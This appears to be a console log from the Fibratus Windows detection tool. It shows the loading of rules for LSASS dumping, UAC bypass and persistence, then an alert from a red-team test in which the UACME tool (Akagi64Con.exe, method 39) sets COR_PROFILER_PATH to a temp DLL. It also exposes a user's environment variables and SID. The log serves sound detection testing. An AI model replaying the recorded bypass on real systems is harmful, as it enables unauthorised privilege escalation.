+time=2025-11-25T18:32:17+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T18:32:17+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T18:32:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T18:32:45+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:32:45+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T18:32:45+01:00 level=info msg=bootstrapping with pid 14412. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T18:32:45+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true content-type=>text/html enabled=>false port=>25 to=>[]] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-threadpool=>false max-buffers=>36 enable-image=>true enable-net=>true enable-thread=>true enable-registry=>true enable-fileio=>true min-buffers=>16 stack-enrichment=>true enable-dns=>false enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s enable-handle=>false enable-mem=>false enable-vamap=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-size=>100 max-backups=>15 log-stdout=>true formatter=>text level=>info] + output ......................... [ amqp=>[ delivery-mode=>transient tls-insecure-skip-verify=>false passive=>false exchange-type=>topic durable=>false timeout=>5s routing-key=>fibratus url=>amqp://localhost:5672 exchange=>fibratus enabled=>false vhost=>/] http=>[ enabled=>false endpoints=>[] timeout=>5s serializer=>json enable-gzip=>false method=>POST tls-insecure-skip-verify=>false] elasticsearch=>[ template-name=>fibratus flush-period=>1s healthcheck=>true sniff=>false gzip-compression=>false healthcheck-timeout=>5s enabled=>false trace-log=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus healthcheck-interval=>10s bulk-workers=>1 timeout=>5s] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s excluded-procs=>[] fastscan=>true skip-allocs=>false skip-registry=>false skip-mmaps=>false skip-files=>false excluded-files=>[] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T18:32:46+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T18:32:48+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T18:32:56+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: C:\Users\nedo\AppData\Local\Temp\pe386.dll + Event(s): + Seq: 4508914 + Pid: 14332 + Tid: 9536 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-11-25 18:32:52.8558725 +0100 CET + Params: dataâžœ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handleâžœ ffffce861ccb08f0, key_pathâžœ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, statusâžœ Success, value_typeâžœ REG_SZ + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 14332 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ 